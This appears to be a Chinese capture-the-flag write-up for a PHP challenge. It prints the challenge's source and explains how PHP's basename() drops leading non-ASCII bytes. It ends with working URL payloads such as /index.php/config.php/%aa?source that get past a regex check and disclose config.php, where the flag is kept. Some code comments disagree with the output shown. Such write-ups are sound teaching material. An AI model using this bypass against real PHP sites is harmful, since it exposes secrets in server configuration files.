打开靶场后可以直接点击Source进入源码，题目很明确告诉如果提交的参数一致则得到flag
源码：
<?php
include 'config.php'; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)");
}if (isset($_GET['source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit();
}$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {$guess = (string) $_POST['guess'];if (hash_equals($secret, $guess)) {$message = 'Congratulations! The flag is: ' . FLAG;} else {$message = 'Wrong.';}
}
?>这里有两种解题方式，第一种绕过正则表达式访问开头源码提示flag的config.php，第二种比较两个提交的参数是否相等，则给出flag，random_bytes函数生成适合于加密使用的任意长度的加密随机字节字符串，随后通过bin2hex转换为十六进制值，代码如下：
<?php
echo (random_bytes(64)) ."<br/>";//如果想复现，请将PHP version 更改为>=7
echo "<hr>";
echo bin2hex(random_bytes(64)) ."<br/>";
echo "<hr>";
echo (random_bytes(64)) ."<br/>";
echo "<hr>";
echo bin2hex(random_bytes(64)) ."<br/>";
?>
问题在于每次生成的字符串长度不一致也是随机的，由于之前做了些伪随机数的相关题目，所以一开始把目标放在这里，后来我看了大部分wp，都是利用basename函数绕过第一关，自己也没想出如何过第二关
首先是需要绕过这个正则表达式：
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF']))
表示不能以config.php为结尾，所以需要在config.php后面再加一个文件名，如：
-
/config.php/index.php
-
/config.php/flag.php
-
... ...
接下来获取flag的关键
highlight_file(basename($_SERVER['PHP_SELF']));
问题出在basename函数上，basename()函数会返回路径中的文件名部分，但是它会去掉文件名开头的非ASCII值！
举个例子：
<?php$url1 = "path/index.php"; // 返回index.php$url2 = "path/index.php".urldecode('%D1%A7%CF'); // 返回index.php和乱码$url3 = urldecode('%D1%A7%CF%B0index.php+ '); // 返回flag.php，前面的非acsii被删除$url4 = urldecode('%74%65%73%74%5findex.php%D1%A7%CF%B0 '); // 返回flag.php和 后面的非ascii
echo basename($url1) ."<br/>";
echo basename($url2) ."<br/>";
echo basename($url3) ."<br/>";
echo basename($url4) ."<br/>";
?>执行结果：
index.php
index.php学?
index.php
test_index.php学习
构造payload的时候，只需保证config.php后面是非ascii值即可
-
/index.php/config.php/%aa?source
-
/index.php/config.php/%bb?source
-
/index.php/config.php/%cc?source